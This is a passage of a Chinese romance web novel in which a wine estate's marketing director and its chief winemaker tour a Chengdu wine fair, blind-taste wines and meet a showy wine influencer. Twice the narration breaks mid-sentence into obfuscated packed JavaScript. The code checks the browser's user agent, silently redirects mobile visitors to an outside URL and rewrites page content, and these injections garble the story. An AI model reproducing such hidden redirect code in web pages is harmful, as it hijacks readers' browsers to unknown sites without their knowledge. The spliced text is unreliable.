“到底是什么原因呢?文案不够有趣?不行啊品牌调性已经摆在这里了,不能胡言乱语也不能大发厥词……呃,或者换个更吸引人的封面图?” 杭帆自言自语,希望能籍借这种方式来厘清自己略有混乱的思路:“但这段时间的酒庄风景确实就是很磕碜啊可恶,我也没法凭空变出绝美大片来吧!” 他也尝试过把酒庄的产品放在桌上进行摆拍,效果同样不佳。毕竟斯芸酒庄虽然定位高端,但知名度却远不及罗彻斯特旗下的任何一个奢侈品牌:葡萄酒这种东西,六千块与六十块,光凭外观简直分不出区别来。但凡这六千块能变成一条某大牌印满logo的基础款围巾,怕是都会有更多人停下来多看两眼。 天不时,地不利,人不和。 “说到底,总不能是因为我江郎才尽吧,哈哈。” 杭总监干巴巴地笑了一声,思绪却止不住地滑落向黯淡的谷底。 ——有没有可能,前几年能给“闻乡”做出成绩,只是因为走了一场狗屎运?有没有可能,其实我根本就没有从事这个行业的才华,只是以前从未发现过这一事实而已?有没有可能,我…… 名为“自我怀疑”的毒虫,正在暗夜里悄然啃噬着他的心。 “您好,先生,客房送餐。” 在这一天的最后,打断了这场长夜冥思的,是服务人员礼貌敲门的声音。 杭帆刚想说他没有叫过客房送餐服务,略一低头,却见餐盘边压着一张字迹熟悉的便签。 “我猜你应该还没想起来要叫外卖,所以先提你点了些吃的。 不用谢我。晚安。 岳一宛。” 29.春风啊…… 熬夜是杭帆的选择。 早起是工作的需要。 头痛是他的报应。 拖着一颗疼得发涨的脑壳,杭总监慢腾腾地挪进了酒店的自助餐厅。这个时间点,他的思考系统根本就还没能接上电源,意识更飘飞在不知几重天外。只剩下求生本能这位靠谱的忠臣,勤勤恳恳地推动着身体往向着餐厅的饮品吧台进发。 名为“大脑”的指挥中心正处于一天中反应最迟滞的时候,它花了一分钟来帮杭帆确认方位,又花了整十秒才搞清楚面前这些容器里都装了些啥。 杭帆拿过杯子,正要朝着咖啡机伸出手,却冷不防被旁边人给挡开了。 “大清早的,杭总监空腹喝咖啡啊?”岳一宛故作惊讶地说,“哎呀,说起来,咱们斯芸酒庄,是不是有人胃不好来着……?” 胃不好的杭总监暂时腾不出脑子去和这人拌嘴。 “唉……嗯。” 他含混地发出一些意义不明的语气词,同时胡乱地冲岳一宛摆了摆手,像是在驱赶蚊子。 “我找点喝的。” 杭帆动了动嘴唇,然后才很慢很慢地开始往外丢词——按岳一宛的说法,没睡醒的杭总监偶尔会显得有点不太聪明,感觉随便什么人都能把他拐走的样子:“然后再吃个止痛片……我头疼。” “空腹的早晨,咖啡配止痛片?”岳一宛简直要被这人给吓到:“哇,您这可真是……上赶着给自己的胃出殡呢?一次出俩阴招,是生怕它死得不够快,还是不够彻底啊?” 大脑离线的小杭总监,一时竟没有分辨出这人嘴里的挖苦之意,嘴里嗯嗯应了两声,尤在梦游般地自言自语道:“没事,以毒攻毒嘛……反正还要加牛奶,风险对冲。问题不大。” 饶是岳大师此人思路刁钻,也得愣了有足足一刻,才终于追上了杭帆的脑回路。 止痛片和咖啡都对空腹的胃不好,此二者双管齐下,谓之以毒攻毒。 牛奶能适当地保护胃黏膜,用牛奶来缓解胃痛风险,此之为风险对冲。 岳一宛难得无语,只能接了一杯牛奶塞进这人手里:“你还是喝点儿不会让胃穿孔的东西吧,”他一边说,一边推着杭帆往餐桌边走:“不是我说,杭总监,您这到底刚睡醒,还是正在回光返照啊?” 被他抓在手里的那位仍在神游太虚,摇摇晃晃地不知今夕何夕。 三十多分钟之后,杭总监的思考模块终于加载完毕。 他猛得在出租车后座上惊坐起来,第一反应是伸手检查自己是否携带了运动相机与单反。 “我去,”在摸到那些熟悉的工作设备之后,杭帆从终于吐出了他今日第一句神志清晰的发言:“岳大师,您这是要把我带去哪儿?” 砰得一声关上车门,斯芸的首席酿酒师在他边上坐定,这才皮笑肉不笑地转过头来道:“唷,杭总监,你醒啦?” 杭帆正要举起手机确认时间,就听岳大师压着嗓子桀桀怪笑起来:“你现在叫破喉咙也已经迟了!上了我的贼船,可不是那么容易就能下去的!” 上班途中路遇戏精,拼尽全力无法战胜,小杭总监只得配合他的表演。 “青天白日,朗朗乾坤,”杭帆眼也不抬地摸出了微型单反,熟练地将它装在了手持云台上:“大师何故强抢民男?” 在虚空中捋了捋那把根本不存在的山羊胡,岳大师故作深沉道:“为师这么做,自然有为师的道理。” 说着,他还把那台张牙舞爪地隔在两人中间的微单相机往边上拨了拨,大约是嫌弃这玩意儿挡住了自己的视线:“爱徒你不用多问,只管跟着为师走就好。有为师在,定能让你——诶,你在干嘛?” 小杭总监不仅毫无慈悲地拍开了这位祖师爷的手爪子,还飞快地从口袋里掏出了擦镜纸,谨慎地擦起了相机上被岳一宛碰到的地方——就好像岳一宛是某种会污染素材的病毒似的! “多谢大师厚爱,”社畜模式全开的杭帆,俨然是一台没有感情的工作机器:“但你的手碰到我相机镜头了,不好意思。” 岳一宛只得悻悻地撇起嘴。 成都不愧是西南地区的中心枢纽,早上八点半,主干道上的车流已拥堵得水泄不通。 车窗外,庞大臃肿的钢铁长龙正不紧不慢地向前蠕动,连出租车司机都平静出了一种大熊猫般超然物外的气质。 “我们是不是要迟到了?”在路上缓慢蛄蛹了好一阵子之后,杭帆终于低声问道。 岳一宛看了眼时间,才八点四十五。 “不急,”此人气定神闲地叠起了那双长腿,“我们堵车,别人肯定也堵。大家都迟到,那就等于没人迟到。” “法不责众是吧?”杭帆真是佩服此人的厚脸皮,“你这种坚不可摧的心理素质,怎么就不能分我一点儿?” 岳大师满脸都是祥和的微笑:“为师向来愿意将自己的长处倾囊以授,但前提是爱徒你也得愿意学嘛。”说着,他微微侧过脸,将小杭总监上下打量片刻之后才又重新开口:“怎样,心情好点没?” 言至此节,杭帆这才意识到,今天的岳一宛是在有意识地想要逗自己开心。 这让杭总监脸上有些发烫——身为成年人,他总认为自己应该能够更好地掩饰起工作上的负面情绪。 “抱歉……”想起昨晚的那些事情,杭帆心里就莫名地有些紧张,下意识地便想要回避岳一宛的视线:“其实,嗯,我抗压能力还挺强的?” “你为什么要道歉?”岳一宛失笑,“你又没有做错任何事情。” 你又没有做错任何事情。 大概只有杭帆才知道,这句话有多么有效地让他大大松了口气。 “或许吧,”他长长地吐了一口气,“但是,我也会希望自己能尽量不要向同事传递出过于消极的情绪。” 像所有打工人一样,杭帆自己也有过压迫感十足的直属上级,也有过永远都在大肆传播焦虑的合作方——他知道被当成情绪垃圾桶的滋味,所以他不想要成为这样的人。 无论是面对自己的部门同事,还是自己手底下的 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“那好吧。”岳一宛唉声叹气着摊开了手,那勉为其难的语气听起来倒像是早有预谋:“那退一步讲,我们姑且也可以算是朋友吧?朋友,偶尔也可以成为‘垃圾桶’的代名词嘛。” 这番胡说八道式的发言,终于让杭帆噗嗤一声笑了出来,“这话说的,怎么感觉做你的朋友会很命苦的样子?” 忍俊不禁的小杭总监,连眼尾向上挑起了一个柔和的弧度。 “但无论怎么说,我都应该要谢谢你,岳一宛。” 初春的晨光总如薄雾般温柔,它们拂过杭帆那张凛然而端丽的面庞,如同爱神缠绕着金线的手指轻轻触碰上她的月桂枝花冠。 “为昨天晚的客房送餐,以及你的友情。它对我很重要,谢谢你。” 啊……岳一宛突然没头没脑地想道。 原来,这个人是这样美丽得惊心动魄的吗……? 在这个连心跳声都突然被拉长的瞬息里,他好像是突然重新睁开眼睛一般,再一次却也像是第一次般地察觉到了这点。 在岳一宛的人生中,他几乎未曾有过这样的时刻——仅仅因为一张外在的皮相,就产生了这种强烈到近乎让时间停滞的心灵震动——美貌,出身,性别,种族,在他看来,所有这些东西,都只不过是命运拨动骰子而得到的随机数而已,并不能用来成为衡量一个人的尺度,更不足以构成“喜爱”的理由。 但在这一刻,在这短暂得像是朝露的叹息又漫长得仿似亘古长夜的一刻,他的心被倏然拨动。 是因为那如画的容貌吗?还是因为那一句坦率恳切的感谢呢?亦或是因为别的什么,能让心旌如纷纷落花般摇动的事物? 岳一宛无从分辨。 他甚至没有能够意识到,自己的目光正紧追不舍地跟随着杭帆的脸庞,如同羽蛾飞身扑向火光。 “岳一宛?岳一宛。” 杭帆正在疑惑地喊他的名字。 “我们到了,你在发什么呆?还有,你确定你没有搞错地址吗?” 30.知识就像魔法 岳大师全身上下,除了那张嘴,哪里都很靠谱,绝不会发生“搞错展会地址”之类的低级错误。 “一般来说,成都春糖分为两个场次。” 他们在香格里拉酒店门口下了车,岳一宛先下了车,又体贴地把车门拉得更开了些,方便手机架着微单云台的杭帆通过。 “通常业内会把博览城与会展中心的那个,叫做‘大展’,我们现在来的这个是所谓‘酒店展’。而大展要到明天才正式开始,今天是酒店展的最后一天。” 香格里拉酒店里人头攒动,热闹得像是旺季的旅游风景区。 但这过度拥挤的场面,似乎并没有给捧着相机的杭帆造成很大的困扰:他侧身穿过熙攘人群,轻巧地如同游鱼穿梭过珊瑚礁,又像是猫咪灵敏地绕过灌木丛,直把旁边的岳一宛看得啧啧称奇。 “品牌做线下活动,我们这些做线上内容的岗位当然也要去现场跟拍并记录素材。” 杭总监曰道,此中并无技巧可言,唯手熟尔:“在人潮里挤个七八百遍,连猪都能学会风骚走位。” 说话间,杭帆已淡定地举起了相机,对着罗彻斯特酒业的展位抓拍了几张全景。他正要往那边走近看看,却被岳一宛拉起了胳膊,往反方向拽走了。 “罗彻斯特酒业的产品有什么好看的?” “全年份全系列,不全都在斯芸酒庄的展示柜里放着呢吗,还没看腻啊杭总监?”岳一宛的语气里颇有些恨铁不成钢的意思:“千里迢迢来一趟成都春糖,你就看这?” “可是,咱俩不就是罗彻斯特的雇员吗?” 作为一头实诚的社畜,杭帆无比勤恳地践行着“食君之禄忠君之事”的信条:“大老远来到成都,连自家公司的展位都不去,这不太好吧……?” 对此,斯芸的首席酿酒师只付之以不屑的笑声。 “你想看罗彻斯特的展位?明天的大展上能给你看个够。又大又浮夸,‘可拍性’不比今天酒店展的这个小卡座强?” “走啦走啦,”岳大师抓起杭帆,毫不犹豫地钻进了别人家的展位里:“难得能一次性遇到这么多来自海外的精品酒庄,不去见识一下那可就真是白来了!” 成都春季糖酒会的“酒店展”有三大葡萄酒分会场,香格里拉酒店就是其中之一。 来自全国各地的狂热葡萄酒爱好者们纷至沓来,将原本宽阔敞亮的酒店给挤得水泄不通:这实在是最好辨认的一群人,因为他们总把酒杯无时不刻地捧在胸前,忘我地沉迷在酒水的馥郁芬芳之中,姿态陶醉,如聆仙乐。 而场地里游走着的代理经销商们,则像是某种不孔不入的液体,随时随地闪现在会场的各个角落里,从容不迫地与几乎在场所有人攀谈:哎,你也喜欢这支酒啊?这可太巧了吧!平时都是自己喝还是和朋友一起喝呀?没事没事,就当交个朋友,咱们先加个微信吧! 当然,还有那些带着预算来的餐饮行业采购人员。他们笑而不语地摇晃着手里的酒杯,倾听着众人的议论与评价,观察着场内最受欢迎的展位,同时又以漫不经心的口吻询问起特定几支酒的最低拿货价格…… 对于所有从事与喜爱葡萄酒的人而言,这都是一场盛事。 但对于杭帆而言,这更像是一场由岳一宛主讲的葡萄酒大师课。 还是超长式马拉松的那种。 “看,酒帽上这个方方正正的单头鹰,这是VDP的标志,意思是‘德国名庄联盟’。” 展台上的冰桶里放着两瓶可供试喝的酒,岳一宛毫不客气地拎出了其中一瓶,在酒杯里倒了少少一口的量:“甜的,你试一下。” 杭帆喝了,确实如果汁般酸甜清爽。 “雷司令甜白,来自德国的摩泽尔产区。雷司令葡萄是他们这个产区最具代表性的传统品种。” 岳大师一边讲课,一边拎起另一瓶酒看了眼,顺手又给放了回去:“这瓶没意思,不喝。顺便一提,各国的所谓‘酒庄联盟’,你都可以理解为是一种行业协会。” 说完,他又伸手捞过隔壁展柜的冰桶。印着同样的雄鹰标志,酒帽下面却贴着一张与刚才截然不同的酒标。 “这是另外一家酒庄的雷司令甜白。同样是VDP成员,但产区却不是摩泽尔。喝喝看?” 周围试饮的人流量实在太大,两手都握持着相机云台的小杭总监,一时竟腾不出空来接过酒杯。 岳一宛见状,干脆主动上前一步,把酒杯递到了杭帆的唇边,笑曰:“这位客人,下车后请记得给我的服务打五星好评,谢谢。” 就这一口酒的量,硬是让杭帆喝出了在病床上被临终关怀的艰难感——主要是岳大师的喂水技术实在有待提高,害得小杭总监不得不微微屈膝以调整自己的高度,这才能顺利把杯底的那一点儿酒给喝进嘴里。 “好像这支的甜度更低,同时酸度也更高一些?” 杭总监细细咂摸了一下,疑心刚才那股快速滑过舌尖的酸味里应该还有点别的成分:“你知道吗岳一宛,我刚才感觉自己像是那种讨不到水喝的流浪汉,只能在大树底下张开嘴,等叶片上汇聚起来的雨水自己流进我嘴里这样。” “就是一边为自己的狼狈处境而感到心酸,一边感觉嘴里隐约有点吃到了树叶子的味道。”他说。 哎,不要介意这种小事啦,岳一宛厚颜无耻地说道。一回生,二回熟嘛! “树叶子的味道,你是指刚割过的青草的那种味道吗?正常,正常,雷司令嘛,就是会有这种有点酸但又很新鲜的植物气味。” 一边说,他还一边要求杭帆站在原地别动,最好能够保持刚才的姿势,好让岳大师能够再在这个名为杭帆的人台上反复多练习几次:“以后保证能让你得到更加完美尊贵的‘饭来伸手,酒来张口’体验。” “这种尊贵体验我就不必再度拥有了,”杭总监叹了口气,用眼神示意面前的这个大麻烦赶紧从别人家的展位上让出来,“但如果你再继续霸占着那个冰桶,马上就要有人去小红书上骂你破坏他们的参展体验了。” “而且,既然你不去罗彻斯特的展位为斯芸酒庄站台,”杭帆诚意发问,“那敢问岳大师您来糖酒会的工作项目到底是……?” 岳一宛来糖酒会的目的竟是视察别人的工作。 以神农尝百草般的严谨态度,这人仔仔细细地一路品鉴了过去,没有放过任何一家酒庄或酒商的展台。 “这叫积极追踪行业动态。”岳大师严肃声明,“绝不是在摸鱼划水!” 他们正站在一家来自意大利的酒庄联盟的展位面前,柜台上已经摆出了好几支来自不同产地的干红葡萄酒。其中的一瓶更是已全部倒入了状如花瓶的高颈醒酒器里。 那是一汪如红宝石般鲜亮悦目的酒液,在纤薄的水晶容器里轻轻地摇晃着。明净的器皿,更衬得它艳光四射,妩媚迫人,如同一袭随着吉普赛女郎的舞步而曳动的红裙。 只简单地尝了一口,岳一宛便立刻给出了精确的判断:“这是桑娇维塞葡萄,大概是来自基安蒂产区。” “你这都是怎么区分出来的?” 杭帆也略微抿了两下,只感觉这支酒在口中活泼到近乎妖娆,丝滑触感下带着一点俏皮的酸。 “为什么我只能粗略地尝出酸甜与否,以及单宁涩度的区别,但你却能精确地分辨出它们的葡萄品种,甚至还能直接报出它们的户籍所在地?” 小杭总监忍不住怀疑,岳一宛这家伙是不是会什么特殊的妖法:“难道说,这些葡萄一旦进了你的嘴,都会大声报出自己的身份证号?” 岳一宛怜悯地看向他,是那种校园学霸看向算不清十以内加减乘除的同学式的怜悯。 “我亲爱的朋友,我以为这是最基本的逻辑推理能力。” 说着,这人端起了手里的水晶醒酒器,语气和蔼得像是森林童话里那些会给迷路小羊指明方向的大灰狼:“首先,看这个颜色。请告诉我,红葡萄酒的红色是来自于—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525614|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “——你当我是小学生吗!” 杭总监可以配合扮演岳一宛的首座爱徒,但实在拉不下脸去演小学一年级新生:“红酒的颜色当然是来自于葡萄皮里的花青素啊。” 可岳大师正在戏瘾发作的兴头上,哪里还顾得上自己的角色设定到底是开山宗师又或是幼儿园老师:“科学素养很不错嘛,杭帆小朋友!那你是否也认同,在酿造条件相同的情况下,颜色越浅的红酒,葡萄皮中的花青素就越少。而葡萄的皮越厚,它所含有的花青素就越多?” “应该……是吧?” 这个理论的推演过程似乎没有问题,但杭帆仍然并不敢抱持以十分的确定——基于他对岳一宛的了解,这家伙的设问句里总是藏着陷阱。 岳大师今天心情很好,在放下手里的醒酒器之前,还顺手给旁边等待的试饮客人也倒上了半杯。 然后,他又转过头来继续道:“所以,虽然不能讲这是百分之百绝对正确的,但你大体上仍然得到这样一个结论:在红葡萄酒中,颜色更浅的酒,很有可能是由葡萄皮较薄的品种来酿造的。” “那剩下部分的就很简单了。因为酒液的颜色已经帮你排除掉了许多不可能的选项,那么再参考一下酒液的香气与口感,葡萄嫌疑人的种类就会被进一步地缩小。” 光听岳一宛那轻松惬意的语气,杭帆还以为这厮说的是一加一等于二呢! “到了这一步,你已经大致能够猜到杯子里的葡萄是哪一种。而既然知道了酿造葡萄的品种,你就又可以通过种植它所需要的自然环境,粗略地框定这瓶酒的产区范围。” “‘风土’——记不记得?我们之前说过的。由于土壤与气候等条件的不同,同样一种酿酒葡萄,在不同的产区,会诞生出不同类型的‘标志性风味’。” 把手中的酒杯抵在唇下,斯芸的首席酿酒师微微一笑:“桑娇维塞,这是意大利最著名的酿酒葡萄品种之一。它的果皮较薄,所以酒液多呈宝石红色,液体边缘还会带有一点点橘色调。” 在意大利中部的基安蒂产区,由于当地的海拔较高,气候也更为凉爽,葡萄的成熟期自然也就比低海拔的温暖地区要来得长。更长的生长周期,使得葡萄的果实中酝酿出了更多的风味物质,从而也为葡萄酒带来了更为复杂优雅的香气。 “基安蒂产区的桑娇维塞,具有标志性的干草药气味,以及若有若无的一丝鸢尾花香气。” 将酒杯轻轻拢在胸前,岳一宛冲着杭帆略略颔首躬身,好似演员在舞台上捧着玫瑰谢幕。 “知识与经验,这就是我全部的妖法。杭总监。你学会了吗?” 耳朵是完全听懂了,脑子是一点没学会。 杭帆干笑两声,正要开口,身后却突然传来一串微弱却清晰的“嚓嚓嚓嚓”声。 他条件反射般地转向了声音的方向——单反相机的快门声。几乎是在听到那声音的同一时刻,杭帆就已察觉到了这一点。他甚至能分辨出那不是相机扬声器上播放出的电子快门音,而是真正的机械快门在进行高速连拍时,物理帘幕反复开合而发出的声音。 搁这儿拍啥呢,一口气摁这么多下快门? 杭帆心中有些不快,因为这声音委实是是离得太近了点,很难让人不觉得有被冒犯到。 “Bravo!Bravi!” 在他们身后,一个西装革履的男人正满面是笑地鼓起了掌。 “Bravissimi!” 他用力地拍打着双手,激动得仿佛是刚刚看完了一出歌剧,两只不安分的眼睛却如粘稠胶水般地在岳一宛与杭帆之间拉了几个来回。 “好厉害的盲品能力!真是令人大开眼界!放眼全互联网,我想应该也没几个人能达到这样的水平吧?” 在过路群众的频频侧目中,西装男子毫不尴尬地递上了自己的名片:“我是许东。”他手腕上大剌剌地露出一只镶满钻石的金表:“请教二位,怎么称呼?” 31.砌肉身为捷径 岳大师一眼斜乜过去,但见许东此人,穿一身极骚包的钢蓝色西装,闪闪发光的法兰绒面料里还嵌织着一根根细密的24K金线。衬衫袖口也毫不意外地是法国风格的双叠样式,一对黄澄澄的金袖扣,正反面上竟又镶有四颗正方形的大克拉钻石。 还有腕子上的那只大金表,百达翡丽满钻鹦鹉螺,真是土豪届的标配,典型中的典型,害得岳一宛嗤得一声笑了出来。 反观小杭总监,先把相机云台夹在了胳膊下,双手接过名片后,这才重又捧稳了自己的相机,程式化的客套中掺杂有两分谨慎的疏离:“幸会,许先生。我叫杭帆,是斯芸酒庄的工作人员。” “斯芸酒庄!”许东像是大大地吃了一惊,“是罗彻斯特集团的那个斯芸吗?哎呀呀,‘斯芸’和‘兰陵琥珀’,那可都是我们圈子里膜拜酒啊!” “失敬失敬,这下我许东可真是有眼不识泰山啦!!” 他一边说着,一边将两条胳膊往前伸,看样子似乎是想要和杭帆与岳一宛来个半拥半抱的握手。 但眼见着杭帆的两只手都正架着相机,而拈着酒杯的岳一宛又是副懒开金口的矜高模样,许东又面不改色地把手给收了回去。 “请问这位先生又是……?”这人笑呵呵地看向岳一宛,仿佛一点儿也察觉不到酿酒师周身笼罩着的那股不耐烦气场似的:“玩儿了这么多年葡萄酒,盲品水平这么厉害的,我以前也实在是没有见到过!敢问先生哪里高就?也是在罗彻斯特酒业吗?” 要笑不笑地,岳大师折起了唇角。 “斯芸酒庄,酿酒师。” 这家伙竟然连自己的名字都懒得报上。 要说这许东,那也实在是位厉害角色。 面对岳一宛这样有意疏慢的恼人语气,许东的口吻照旧热络,嘴上还能笑容不减地褒赞道:“哎哟哟!这可不是,说曹操,曹操到哇!斯芸酒庄的酿酒师,难怪会在葡萄酒有这样高的造诣!” “瞧瞧,瞧瞧,我刚还和人夸呢,要说到咱们中国的膜拜酒啊,那还是得数‘斯芸’与‘兰陵琥珀’这两支!别的那些个什么……哎哟,你看我!那些糊里糊涂的酒,我连名字都记不得!要不我们圈内人都说呢,斯芸酒庄,就是咱中国人自己的罗曼尼康帝啊!” 也不管这话到底尴尬不尴尬,许东就只顾好一通天花乱坠地吹。纵是脸皮结实如岳大师者,一张老脸也差点没能挂住。 “嗯,谬赞了。” 岳一宛神色淡淡,心里想的却是为什么自己不能掏出水泥刮刀来封上这个人的嘴。 以这位斯芸首席酿酒师的个性,再和许东多说一句话他都嫌浪费生命。 走吧。他正要用眼神示意杭帆,却发现对方正仔细低头看着指缝间夹着的名片。 厚实黑色艺术纸上压印有酒瓶与酒杯形状的浮雕花纹,许东的名片也物如其人地传递出“哥们儿有钱”的高调讯息。 “许先生是做葡萄酒自媒体的?”杭帆礼貌发问。 许东立刻呵呵地笑起来,金边眼镜下的一双眼睛滴溜溜地在杭帆的脸上做着描边。 “在下不才,正是葡萄酒自媒体‘许东说酒’的主理人。”说这话的时候,他还特地正了正领带,以示庄重:“也算不上是什么头部账号了,全平台加起来,统共也就几十来万粉丝吧。” 随着他手上的动作,领带夹上镶嵌着大颗黄钻,也“很不甚经意”地在灯下闪了一闪。 杭帆若有所思地点了点头,“我以前似乎曾经刷到过您的账号。”他说,“粉丝们都很喜欢你做的内容。” “真的啊?”许东的脸上豁然一亮,嘴里露出一排白到发光的贴片烤瓷牙:“既然这么有缘,今晚要不一起吃个饭呗?刚好,我带了几瓶勃艮第的好酒,二位若是愿意赏光,可务必一起品鉴品鉴!” “你我都是喜欢葡萄酒的人,五湖四海皆兄弟嘛!来来,不要客气,今晚我请客!” 他的笑容非常灿烂,拍下来就可以放进财经杂志里,充当成功学书籍的广告海报。 杭帆一愣,未及开口,身边的岳一宛已经强硬地截断了对方的话头。 “不好意思,”酿酒师口吻冷淡得能结出冰来:“我们晚上已经有约了。” 杭总监立刻随声附和地打了个圆场,“晚上有公司聚餐,”他冲许东笑了笑,把名片收进了牛仔裤口袋里:“走不开,抱歉。” “没事没事,都是做葡萄酒的,以后也多得是机会嘛。”许东仍旧是笑呵呵地冲他俩摆手,“二位,回去之后加个微信啊!常联系!” “联系个屁。” 掉头走出没两步,岳一宛已经骂骂咧咧地低声控诉起来:“就这种舌头长在眼睛里的恶心玩意儿,跟他说话都等同于是慢性自杀!” “话虽如此,嗯……”杭总监却在尤自在琢磨着些什么:“但如果能搞点合作的话……或许也不是不行?” “‘许东说酒’,这个号在抖音上的流量真的非常好。之前,我在翻看那些同赛道的账号时还稍微做过一些调查,‘许东说酒’的背后是一家专营酒类进出口的贸易公司。如果他真是在靠着这个账号卖酒,从而养活了全公司的话……这账号的转化率非常惊人啊!” 当然,沉迷工作的杭帆也并非是那种心眼儿清澈到近乎愚蠢的天真人士。他当然能够感觉到,在看向自己与岳一宛的时候,许东那暧昧滚烫的视线里总有一种让人不舒服的东西。 但身为一条社会经验较为丰富的熟练牛马,在察觉到这一暗示的同时,杭总监的大脑就立刻开启自动开启了屏蔽程序,熟练得像是在路边摊上挥开一只大苍蝇。 只有岳一宛,不仅被杭帆的发言惊得汗毛倒竖,连眼睛都瞪成了一对翡翠色的灯泡。 “哈?哈???” 岳大师倒抽了好大一口冷气,差点把肺都给撑炸开:“你想要和他合作?可这人一看就没安好心吧!他就差把‘见色起意’几个字给纹在脸上了!” “等下,杭帆,你不会是——” 大概是想到一种最烂俗的可能性,岳一宛脸色陡变,脚下生钉般定在了原地:“——就算你已经为工作而出卖了灵魂,也没必要连尊严也一并出卖了吧?!” 话音未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531805|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杭帆已经狠狠地挥出了胳膊肘,准确无误招呼在了此人肋骨的正下方。 “你现在最重要的事情,是删除掉脑子里的那些三流言情小说桥段。” 杭总监语气的郑重又和蔼,仿佛只要再从岳一宛的嘴里听到哪怕是一个限制级字眼,他就会徒手拧断这厮的脖子。 “然后麻烦再动用您那金贵的大脑好好想一想——账号流量有具体的数字,广告投放有切实的金额,但情色交易的价值要如何才能被量化?这种东西甚至都没法白纸黑字地写成合同!” “正所谓‘在商言商’,能够稳定地用来交换利益的,永远就只有利益本身。” 罕见地,杭帆流露出了他身为现实主义者的犀利一面:“情感与□□,在某些人眼中或许确实具有价值——但为它定价的权利,从来都只在出钱的那一方手里,不是吗?” 一晚上的翻云覆雨就必定能够换得一个工作岗位吗?一个月的浓情蜜意是否就可以等价于一件限量款的奢侈品呢? ——在荐身枕席之前,那些天真的年轻人或许的确怀抱有这样的希望。 可□□的欲望,这是一种多么肤浅又多么容易满足的东西啊。青春的艳丽还尚未来得及褪色,欲望的蠢动与激情就已因飨足而熄灭了。在现实世界的利害得失面前,旖旎的欲情,不过是一段镜花水月的妄想,一场肉包子打狗的闹剧。 这个浅显残酷的道理,杭帆或许比任何同龄人都更加清楚地明白。毕竟,深夜里的杭艳玲含泣带诉地向那个男人拨出的一支支电话,就如一道道刀疤般深刻地贯穿了杭帆的整个童年时代。 “爱情,□□,倘若是想要用它们来换取一些什么的话……无论是哪一样,都很少有人能够真正将自己卖出令人咂舌的价格。” 杭帆摇头,似是要将母亲年轻时的呜咽泣音从耳边拂去。 “我从不相信世上能有如此简便的捷径。” 在这平静得带着沙哑的口吻里,岳一宛意外地听见了忧愁与脆弱互相撞击出的细微回响。 仿佛是被碰碎过一角的瓷器,历经水与火的考验,重又为金缮所拼合。你看见他无意中裸露出的伤口,也看见伤痕处顽强长出了崭新的血肉。 “抱歉。” 他喃喃地对杭帆说道,言辞里很是有些手足无措的恍惑:“我……我不是在说,你会去做那样的事情。我不是这个意思。” 平日里能说会道的舌头,在这时候却移动地相当笨拙。岳一宛急得在心里直跳脚,甚至开始怀疑,是否是刚才那支酒里的单宁毒害了他的语言能力。 “我只是担心,许东或许不像他所表现出来的那样慷慨。”磕磕绊绊地,酿酒师为自己做着解释:“我就是觉得,他可能不会配合你的工作,取悦他可能不是一个好选项……” 天啊,岳一宛在心里抓狂地想道,我到底在说什么鬼话? 杭帆的工作内容,自然应该由他自己去安排和操心,不是吗?为什么我会表现得像个控制狂一样,把鼻子和手一起伸进杭帆的工作甚至是私人生活里去? 我这到底是犯了什么毛病?! 32.上一任首席 “取悦?” 杭帆眨眼,一时失笑:“不不,作为主动技能,‘取悦’的命中率还是太低了。” “像许东这样的商人兼自媒体博主,如果是真的想和对方达成合作,”杭总监笃定地说道:“就要开出一个让他无法拒绝的价码。这是经验之谈。” 眼见他并没有在意刚才那句有些过分的玩笑,岳一宛心中略松了口气。 “无法拒绝的价码。”他语带调侃,眼睛也微微弯了起来:“你这话说得像是□□电影中的教父。” 从他们现在站着的角度,杭帆端起相机又抓拍了两张罗彻斯特酒业的展位。他们老东家那边正是人头攒动的热闹时刻,还有好些个外国人也在排队等待试饮。 “如果被拒绝了,就说明价码还是开得不合适。嗯,这还挺常发生的。” 忆及往事,杭总监脸上露出了一抹四大皆空式的微笑:“这种时候,我通常会偷偷在背后骂公司给的预算太低,绝不是我能力不行的原因。” “但要仔细想来,我刚才就感到有点奇怪……”说到这个,杭帆也确实觉出了几分疑惑:“许东是做自媒体带货的,又是在葡萄酒这个细分赛道上,可他竟然不认识你?” 路过一家智利酒庄的展位,岳一宛再次伸出了他的杯子。 “不认识我吗?那倒也是很正常的。”他含了一小口酒在嘴里,说起话来难免有点模糊:“毕竟酒标上也不印酿酒师的照片嘛。” 杭帆还是不太理解,“可许东也算是葡萄酒相关领域的资深从业者了。只要上过斯芸酒庄的官网,任何人能认出你来吧?毕竟你这张脸,也算是天上地下独一份。” 一句不经意的赞美,差点让岳大师被酒呛到。 连声咳嗽着,岳一宛愤愤不平地为自己申辩:“都挂在斯芸的官网首页了,我浑身上下应该也不只有脸是可取之处吧?!” 而杭帆丢给他一个“请勿胡搅蛮缠”的无语眼神。 “但实情就是如此。”岳一宛说。 他们巡梭过大半个会场,试饮过的葡萄酒少说也已经有三四十种。虽然绝大部分的酒水都被送进了吐酒桶里,但在单宁与酸味的连番攻势下,杭总监略显孱弱的舌头还是很快就失去了分辨味道的能力。 只有岳大师,身经百战,历久不殆,竟又面不改色地拿起了面前的一支酒。 